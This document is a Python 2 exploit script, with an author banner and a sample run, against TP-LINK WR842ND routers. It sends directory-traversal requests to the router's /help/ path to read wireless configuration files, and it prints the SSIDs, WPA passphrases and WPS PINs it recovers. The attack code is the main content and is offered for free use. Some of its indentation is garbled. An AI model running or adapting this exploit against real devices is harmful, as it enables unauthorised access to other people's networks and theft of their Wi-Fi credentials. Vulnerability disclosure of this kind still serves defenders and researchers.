TP-LINK WR842ND Directory Traversal

#!/usr/bin/python
 
'''
TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit
Adam Simuntis :: http://unixjail.com
 
If remote management is on you have full access to router configuration - if not and you're connected
to router network you can discover another configured SSID's.
 
  
Successfully tested against TP-LINK WR842ND
Firmware Version:   3.12.22 Build 120424 Rel.39632n
 
Feel free to use, modify and distribute.
 
.-(~)---------------------------------------------------------------------------------(adam@ninja)-
`--> python2 e.py ip:port
TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit
Adam Simuntis :: http://unixjail.com
 
:: Crafting and sending evil request..
 
-> ssid="some_network"
   !wps_default_pin=01010101
   !wpa_passphrase="secretpsk"
 
 
:: Search for another networks? (y/n)
> y
 
:: Searching..
 
:: Jumping for SSID 1..
 
-> ssid="another_network"
   !wps_default_pin=01010101
   !wpa_passphrase="another_secretpsk"
 
:: Jumping for SSID 2..
 
 
:: Jumping for SSID 3..
 
 
:: Jumping for SSID 4..
 
.-(~)---------------------------------------------------------------------------------(adam@ninja)-
`-->
 
'''
 
import requests,sys,socket
from time import sleep
 
data=''
data2=''
url='' 
 
W  = '\033[0m' 
R  = '\033[31m'
B  = '\033[34m'
 
#KISS
def parse_data(text):
    words = text.split()
 
        for word in words :
        if 'ssid' in word and 'ignore' not in word :
            print W+"-> "+B+"%s" %(word)
                if 'pass' in word :
                        print W+"   !"+R+"%s" %(word)
        if 'default_pin' in word :
            print W+"   !"+R+"%s" %(word)
    print W
 
def make_url(host,n):
     junk = ("http://%s/help/../../../../../../../../../../../../../../../../tmp/ath%s.ap_bss") % (host,n)
     return junk
 
if len(sys.argv) == 1 :
    print "Usage: %s router_ip:port (default port=80)" %(sys.argv[0])
    sys.exit()
 
url = make_url(sys.argv[1],0)
 
if ':' in sys.argv[1] :
    host = sys.argv[1].split(":")
else :
    host = sys.argv[1]
 
headers={
"Host" : host[0],
"User-Agent" : "Mozzila/5.0",
"Referer" : "http://"+host[0]+"/"  
}
 
print "TP-LINK WR842ND Remote Multiple SSID Directory Travesal Exploit"
print "Adam Simuntis :: http://unixjail.com\n"
 
try:
    print R+":: Crafting and sending evil request.."
    print W
    data = requests.get(url,headers=headers).content
 
except requests.ConnectionError, e:
   print R+":! Connection error!\n"
   sys.exit()
 
if data :
    parse_data(data)
else :
    print B+":! Ups.. seems to be not vulnerable"
    print W
 
print "\n:: Search for another networks? (y/n)"
answer = raw_input("> ")
 
if answer=="y" or answer=="Y" :
    print R+"\n:: Searching.."
    print W
 
    for i in range(1,5) :
 
        print W+":: Jumping for SSID %s..\n" %(i)
 
        sleep(3)
         
        url = make_url(sys.argv[1],i)
        data2 = requests.get(url,headers=headers).content
 
        if data2 :
            parse_data(data2)
        else :
            print B+"-> Nothing..\n"
             
else :
    print W+"\n:: Bye!"
         
print